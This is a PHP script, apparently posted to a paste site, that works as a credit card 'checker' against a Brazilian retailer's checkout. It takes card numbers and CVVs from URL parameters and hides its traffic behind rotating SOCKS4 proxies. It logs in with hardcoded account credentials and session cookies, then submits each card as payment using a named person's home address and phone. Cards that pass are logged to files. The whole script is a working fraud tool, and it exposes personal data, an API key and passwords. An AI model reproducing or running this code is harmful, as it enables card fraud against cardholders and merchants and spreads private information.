· 6 years ago · Jun 07, 2019, 08:06 PM
1<?php
2
3
4//use curl to make the request
5 $url = 'https://api.getproxylist.com/proxy?apiKey=2769d07972701a1cb65b10f9565e205f3fcd463a&protocol=socks4&country=BR&lastTested=600';
6 $ch = curl_init($url);
7 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
8 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
9 curl_setopt($ch, CURLOPT_TIMEOUT, 5);
10 $response = curl_exec($ch);
11 curl_close($ch);
12//echo $response;
13//echo "<br>";
14
15 ////decode the json response
16 $gproxy = json_decode($response, true);
17 $gproxyip = $gproxy['ip'];
18 $gproxyport = $gproxy['port'];
19 //echo $gproxyip;
20 //echo "<br>";
21 //echo $gproxyport;
22 $gproxyipport = $gproxyip .":". $gproxyport;
23 //echo "<br>";
24 //echo $gproxyipport;
25
26
27error_reporting(0);
28 function value($string, $start, $end){
29 $str = explode($start, $string);
30 $str = explode($end, $str[1]);
31 return $str[0];
32 }
33 function getStr($string,$final,$conteudo){
34 $str = explode($final,$string);
35 $str = explode($conteudo,$str[1]);
36 return $str[0];
37 }
38function getStr2($string, $start, $end) {
39 $str = explode($start, $string);
40 $str = explode($end, $str[1]);
41 return $str[0];
42}
43
44
45
46if($_GET['testar']=="cc"){
47 $ccs = $_GET['ccs'];
48 $separador = $_GET['separador'];
49 $id = $_GET['id'];
50 $explode = explode($separador, $ccs);
51$email = md5(date("d:M:Y:m:s")) . "@gmail.com";
52
53$numero = $explode[0];
54$mes = $explode[1];
55$ano = $explode[2];
56$cvv = $explode[3];
57$random = rand(1,9999);
58$valor1 = rand(1,4);
59$valor2 = rand(01,99);
60
61$file = "fddddddfds.txt";
62$txt.="$ccs\n";
63file_put_contents($file, $txt, FILE_APPEND | LOCK_EX);
64
65
66$ss = substr($numero, 0, 2);
67//$cc1 = substr($numero, 0, 3);
68//$cc2 = substr($numero, 4, 9);
69//$cc3 = substr($numero, 10, 14);
70
71
72if($ss[0] == "4"){
73$bandeira = "Visa";
74}
75
76elseif($ss[0] == "5"){
77$bandeira = "Master Card";
78}
79
80elseif($ss[0] == "37"){
81$bandeira = "American Express";
82}
83
84elseif($ss[0] == "6"){
85$bandeira = "Discover";
86}
87
88elseif($ss[0] == "36"){
89$bandeira = "Discover";
90}
91
92$cc = str_split($numero, 4);
93
94
95
96 switch ($mes) {
97 case '01':
98 $mes = '1';
99 break;
100 case '02':
101 $mes = '2';
102 break;
103 case '03':
104 $mes = '3';
105 break;
106 case '04':
107 $mes = '4';
108 break;
109 case '05':
110 $mes = '5';
111 break;
112 case '06':
113 $mes = '6';
114 break;
115 case '07':
116 $mes = '7';
117 break;
118 case '08':
119 $mes = '8';
120 break;
121 case '09':
122 $mes = '9';
123 break;
124 }
125
126
127
128
129switch ($ano) {
130 case '16':
131 $ano = '2018';
132 break;
133 case '17':
134 $ano = '2018';
135 break;
136 case '18':
137 $ano = '2018';
138 break;
139 case '19':
140 $ano = '2019';
141 break;
142 case '20':
143 $ano = '2020';
144 break;
145 case '21':
146 $ano = '2021';
147 break;
148 case '22':
149 $ano = '2022';
150 break;
151 case '23':
152 $ano = '2023';
153 break;
154 case '24':
155 $ano = '2024';
156 break;
157}
158 $last4 = substr($numero, 12, 15);
159
160
161$key = getStr2($end, 'name="form_key" type="hidden" value="', '"');
162
163$ch = curl_init();
164curl_setopt($ch, CURLOPT_URL, 'https://www.ripcurl.com.br/customer/account/loginPost/');
165curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
166 curl_setopt($ch, CURLOPT_PROXY, $gproxyipport); //proxy
167 curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS4);
168curl_setopt($ch, CURLOPT_HTTPHEADER, array(
169'Host: www.ripcurl.com.br',
170'Content-Type: application/x-www-form-urlencoded',
171'Cookie: PHPSESSID=kp48k7rs8081jjrs9m1gq714i5; mage-messages=; mage-translation-storage=%7B%7D; mage-translation-file-version=%7B%7D; chaordic_browserId=0-3CIMZItC3xtQbOc27qtGsYSVYe1sXBGPsY8Y15599361308484758; chaordic_anonymousUserId=anon-0-3CIMZItC3xtQbOc27qtGsYSVYe1sXBGPsY8Y15599361308484758; chaordic_session=1559936132434-0.895187835667957; chaordic_testGroup=%7B%22experiment%22%3Anull%2C%22group%22%3Anull%2C%22testCode%22%3Anull%2C%22code%22%3Anull%2C%22session%22%3Anull%7D; neemu_sid=JWMHP52UDDO0; form_key=G7StUnlrPkinNy4H; private_content_version=f50ca79036ebebc45a8bd5d10ccea949; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; section_data_ids=%7B%22messages%22%3A1559937415%2C%22customer%22%3A1559937415%2C%22compare-products%22%3A1559937415%2C%22last-ordered-items%22%3A1559937415%2C%22cart%22%3A1559937415%2C%22directory-data%22%3A1559937415%2C%22review%22%3A1559937415%2C%22wishlist%22%3A1559937415%2C%22paypal-billing-agreement%22%3A1559937415%7D; mage-cache-sessid=true; form_key=G7StUnlrPkinNy4H',
172'Referer: https://www.ripcurl.com.br/customer/account/login/'
173));
174curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
175curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
176curl_setopt($ch, CURLOPT_POSTFIELDS,
177'form_key='.$key.'&login%5Busername%5D=ffatimaprisciladepaula%40carreiradasilva.com&login%5Bpassword%5D=inva123&send=');
178$data = curl_exec($ch);
179
180
181
182
183
184$ch = curl_init();
185curl_setopt($ch, CURLOPT_URL, 'https://www.ripcurl.com.br/rest/default/V1/carts/mine/estimate-shipping-methods-by-address-id');
186curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
187 curl_setopt($ch, CURLOPT_PROXY, $gproxyipport); //proxy
188 curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS4);
189curl_setopt($ch, CURLOPT_HTTPHEADER, array(
190'Host: www.ripcurl.com.br',
191'Content-Type: application/json',
192'Cookie: PHPSESSID=tod6n3uanrehs9tj9cre4nh311; mage-messages=%5B%5D; mage-translation-storage=%7B%7D; mage-translation-file-version=%7B%7D; chaordic_browserId=0-3CIMZItC3xtQbOc27qtGsYSVYe1sXBGPsY8Y15599361308484758; chaordic_anonymousUserId=anon-0-3CIMZItC3xtQbOc27qtGsYSVYe1sXBGPsY8Y15599361308484758; chaordic_session=1559936132434-0.895187835667957; chaordic_testGroup=%7B%22experiment%22%3Anull%2C%22group%22%3Anull%2C%22testCode%22%3Anull%2C%22code%22%3Anull%2C%22session%22%3Anull%7D; neemu_sid=JWMHP52UDDO0; form_key=G7StUnlrPkinNy4H; private_content_version=8345bf80f0c3758adaff5314cb886233; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; section_data_ids=%7B%22messages%22%3A1559937053%2C%22customer%22%3A1559936512%2C%22compare-products%22%3A1559936512%2C%22last-ordered-items%22%3A1559936512%2C%22cart%22%3A1559936811%2C%22directory-data%22%3A1559936512%2C%22review%22%3A1559936512%2C%22wishlist%22%3A1559936512%2C%22paypal-billing-agreement%22%3A1559936512%7D; form_key=G7StUnlrPkinNy4H; privateData=%7B%22visitor%22%3A%5B%7B%22visitorId%22%3A31917%2C%22visitorLoginState%22%3A%22Logado%22%7D%5D%7D; X-Magento-Vary=598954aa29ada930977343246c06811d809cbb84; mage-cache-sessid=true; chaordic_realUserId=31917; neemuDataUserName=F%C3%A1tima%20Priscila%20de%20Paula; neemuDataUserEmail=ffatimaprisciladepaula%40carreiradasilva.com; department_list=156%7C3; click_list=BWUKK1_90%7CBWUKK1_9; cart_list=BWUKK1_90%3ABWUKK1_90_1',
193'Referer: https://www.ripcurl.com.br/checkout/',
194'x-requested-with: XMLHttpRequest'
195));
196curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
197curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
198curl_setopt($ch, CURLOPT_POSTFIELDS, '{"addressId":"41125"}');
199$data = curl_exec($ch);
200
201
202$ch = curl_init();
203curl_setopt($ch, CURLOPT_URL, 'https://www.ripcurl.com.br/rest/default/V1/carts/mine/shipping-information');
204curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
205 curl_setopt($ch, CURLOPT_PROXY, $gproxyipport); //proxy
206 curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS4);
207curl_setopt($ch, CURLOPT_HTTPHEADER, array(
208'Host: www.ripcurl.com.br',
209'Content-Type: application/json',
210'Cookie: PHPSESSID=tod6n3uanrehs9tj9cre4nh311; mage-messages=%5B%5D; mage-translation-storage=%7B%7D; mage-translation-file-version=%7B%7D; chaordic_browserId=0-3CIMZItC3xtQbOc27qtGsYSVYe1sXBGPsY8Y15599361308484758; chaordic_anonymousUserId=anon-0-3CIMZItC3xtQbOc27qtGsYSVYe1sXBGPsY8Y15599361308484758; chaordic_session=1559936132434-0.895187835667957; chaordic_testGroup=%7B%22experiment%22%3Anull%2C%22group%22%3Anull%2C%22testCode%22%3Anull%2C%22code%22%3Anull%2C%22session%22%3Anull%7D; neemu_sid=JWMHP52UDDO0; form_key=G7StUnlrPkinNy4H; private_content_version=8345bf80f0c3758adaff5314cb886233; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; section_data_ids=%7B%22messages%22%3A1559937053%2C%22customer%22%3A1559936512%2C%22compare-products%22%3A1559936512%2C%22last-ordered-items%22%3A1559936512%2C%22cart%22%3A1559936811%2C%22directory-data%22%3A1559936512%2C%22review%22%3A1559936512%2C%22wishlist%22%3A1559936512%2C%22paypal-billing-agreement%22%3A1559936512%7D; form_key=G7StUnlrPkinNy4H; privateData=%7B%22visitor%22%3A%5B%7B%22visitorId%22%3A31917%2C%22visitorLoginState%22%3A%22Logado%22%7D%5D%7D; X-Magento-Vary=598954aa29ada930977343246c06811d809cbb84; mage-cache-sessid=true; chaordic_realUserId=31917; neemuDataUserName=F%C3%A1tima%20Priscila%20de%20Paula; neemuDataUserEmail=ffatimaprisciladepaula%40carreiradasilva.com; department_list=156%7C3; click_list=BWUKK1_90%7CBWUKK1_9; cart_list=BWUKK1_90%3ABWUKK1_90_1',
211'Referer: https://www.ripcurl.com.br/checkout/',
212'x-requested-with: XMLHttpRequest'
213));
214curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
215curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
216curl_setopt($ch, CURLOPT_POSTFIELDS, '{"addressInformation":{"shipping_address":{"customerAddressId":"41125","countryId":"BR","regionId":"486","regionCode":"AL","region":"Alagoas","customerId":"31917","street":["Rua Adriano Magalhães","738","","Tabuleiro do Martins"],"telephone":"8299485924","postcode":"57081220","city":"Maceió","firstname":"Fátima","lastname":"Priscila de Paula","customAttributes":{"address_name":{"attribute_code":"address_name","value":"casa"}}},"billing_address":{"customerAddressId":"41125","countryId":"BR","regionId":"486","regionCode":"AL","region":"Alagoas","customerId":"31917","street":["Rua Adriano Magalhães","738","","Tabuleiro do Martins"],"telephone":"8299485924","postcode":"57081220","city":"Maceió","firstname":"Fátima","lastname":"Priscila de Paula","customAttributes":{"address_name":{"attribute_code":"address_name","value":"casa"}},"saveInAddressBook":null},"shipping_method_code":"CORREIOS|PAC","shipping_carrier_code":"omsshipping","extension_attributes":{}}}');
217$data = curl_exec($ch);
218
219$ch = curl_init();
220curl_setopt($ch, CURLOPT_URL, 'https://www.ripcurl.com.br/rest/default/V1/carts/mine/payment-information');
221curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
222 curl_setopt($ch, CURLOPT_PROXY, $gproxyipport); //proxy
223 curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS4);
224curl_setopt($ch, CURLOPT_HTTPHEADER, array(
225'Host: www.ripcurl.com.br',
226'Content-Type: application/json',
227'Cookie: mage-messages=%5B%5D; chaordic_browserId=0-o0hPS8J48Flk2lLreHbGCwepwzGlMcOfOozs15580796335851026; chaordic_anonymousUserId=anon-0-o0hPS8J48Flk2lLreHbGCwepwzGlMcOfOozs15580796335851026; _ga=GA1.3.748409674.1558617473; neemu_sid=JW0OLNGB8E1J; _fbp=fb.2.1558617476583.833796006; private_content_version=c788b8b2b65b41e2e1c27a12bd717733; neemuDataUserName=Larissa%20Cruz%20neves; neemuDataUserEmail=larissaneves92%40gmail.com; _gid=GA1.3.1430130690.1559852836; mage-translation-storage=%7B%7D; mage-translation-file-version=%7B%7D; chaordic_testGroup=%7B%22experiment%22%3Anull%2C%22group%22%3Anull%2C%22testCode%22%3Anull%2C%22code%22%3Anull%2C%22session%22%3Anull%7D; form_key=oJluehstpuee5tWs; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; section_data_ids=%7B%22customer%22%3A1559916543%2C%22compare-products%22%3A1559916543%2C%22last-ordered-items%22%3A1559916543%2C%22cart%22%3A1559916543%2C%22directory-data%22%3A1559916543%2C%22review%22%3A1559916543%2C%22wishlist%22%3A1559916543%2C%22paypal-billing-agreement%22%3A1559916543%2C%22messages%22%3A1559918634%7D; department_list=157%7C3%7C156%7C205%7C109%7C187%7C122%7C193; click_list=BWUKK1_90; cart_list=BWUKK1_90%3ABWUKK1_90_1; PHPSESSID=afhv191vmma2en64u415e3pcu3; chaordic_session=1559916334738-0.048997739458290224; form_key=oJluehstpuee5tWs; privateData=%7B%22visitor%22%3A%5B%7B%22visitorId%22%3A31899%2C%22visitorLoginState%22%3A%22Logado%22%7D%5D%7D; X-Magento-Vary=598954aa29ada930977343246c06811d809cbb84; mage-cache-sessid=true; chaordic_realUserId=31899',
228'Referer: https://www.ripcurl.com.br/checkout/',
229'x-requested-with: XMLHttpRequest'
230));
231curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
232curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
233curl_setopt($ch, CURLOPT_POSTFIELDS, '{"cartId":"48229","billingAddress":{"customerAddressId":"41125","countryId":"BR","regionId":"486","regionCode":"AL","region":"Alagoas","customerId":"31917","street":["Rua Adriano Magalhães","738","","Tabuleiro do Martins"],"telephone":"8299485924","postcode":"57081220","city":"Maceió","firstname":"Fátima","lastname":"Priscila de Paula","customAttributes":{"address_name":{"attribute_code":"address_name","value":"casa"}},"saveInAddressBook":null},"paymentMethod":{"method":"cielo","additional_data":{"cc_last4":"$last4","cc_owner":"marcelle kapel","cc_number":"$numero","cc_cid":"$cvv","cc_type":"ELO","cc_exp_year":"$ano","cc_exp_month":"$mes","cc_installments":"1","cc_installment_id":"0:2:Cr431IVp7iSM3JwFtjGM1AKu1nZLEXO7:/BfdXvjv3FyqJfIJ8j+HgLyAnagJCYvoX4bH/OrDTw0="}}}');
234$data = curl_exec($ch);
235//echo $data;
236
237$bin = file_get_contents("../utils/bin?bin=" . str_replace("+", "", $cc));
238
239 $data = curl_exec($ch);
240 // print $data;
241 print $data;
242 if($data){
243 $bin = substr($numero, 0, 6);
244
245 $file = 'bins.csv';
246
247 $searchfor = $bin;
248
249 $contents = file_get_contents($file);
250
251 $pattern = preg_quote($searchfor, '/');
252
253 $pattern = "/^.*$pattern.*\$/m";
254
255 if (preg_match_all($pattern, $contents, $matches)) {
256
257 $encontrada = implode("\n", $matches[0]);
258
259 }
260
261 $pieces = explode(";", $encontrada);
262
263 $c = count($pieces);
264
265 if ($c == 8) {
266
267 $pais = $pieces[4];
268
269 $paiscode = $pieces[5];
270
271 $banco = $pieces[2];
272
273 $level = $pieces[3];
274
275 $bandeira = $pieces[1];
276
277 $site = $pieces[6];
278 $tel = $pieces[7];
279
280 } else {
281
282 $pais = $pieces[5];
283
284 $paiscode = $pieces[6];
285
286 $level = $pieces[4];
287
288 $banco = $pieces[2];
289
290 $bandeira = $pieces[1];
291
292
293 }
294
295if(strpos($data,'[N7]')!== false){
296 echo "<span style='text-shadow: 0px 0px 7px green; color: #00B200;'>APROVADA </span> </b> <strong>{$numero}|{$mes}|{$ano}|{$cvv} - {$gproxyipport}</strong> - $bandeira | $banco | $level | $paiscode $pais Retorno: Success.<br>";
297 $fp = fopen("kkkkkkkkk54354353543el.txt", "a");
298$escreve = fwrite($fp, "APROVADA $numero|$mes|$ano|$cvv by xav\n");
299die();
300}
301
302 /*/else if(strpos($data,'pass')){
303 echo "<span style='text-shadow: 0px 0px 7px green; color: #00B200;'>CVV APROVADA </span> </b> <strong>{$numero}|{$mes}|{$ano}|{$cvv} - {$gproxyipport}</strong> - $bandeira | $banco | $level | $paiscode $pais Retorno: valid CVV. <strong>#xavchk</strong><br>";
304 $fp = fopen("kkkkkkkkk54354353543vv.txt", "a");
305$escreve = fwrite($fp, "CVV APROVADA $numero|$mes|$ano|$cvv by xav\n");
306 die();
307 }
308
309else if(strpos($data,'card_declined')){
310 echo "<span style='text-shadow: 0 0 7px red; color: red;'>REPROVADA </span></b> <strong>{$numero}|{$mes}|{$ano}|{$cvv}</strong> Retorno: Declined.<br>";
311 die();
312}
313
314 else if(strpos($data,'expiration')){
315 echo "<span style='text-shadow: 0 0 7px red; color: red;'>REPROVADA </span></b> <strong>{$numero}|{$mes}|{$ano}|{$cvv}</strong> Retorno: Expired.<br>";
316 die();
317}
318
319 else if(strpos($data,'incorrect_number')){
320 echo "<span style='text-shadow: 0 0 7px red; color: red;'>REPROVADA </span></b> <strong>{$numero}|{$mes}|{$ano}|{$cvv}</strong> Retorno: Incorrect number.<br>";
321 die();
322} /*/
323 }else{
324 echo "<span style='text-shadow: 0 0 7px red; color: red;'>REPROVADA </span></b> <strong>{$numero}|{$mes}|{$ano}|{$cvv}</strong> Retorno: Declined.<br>";
325
326 }
327 }
328?>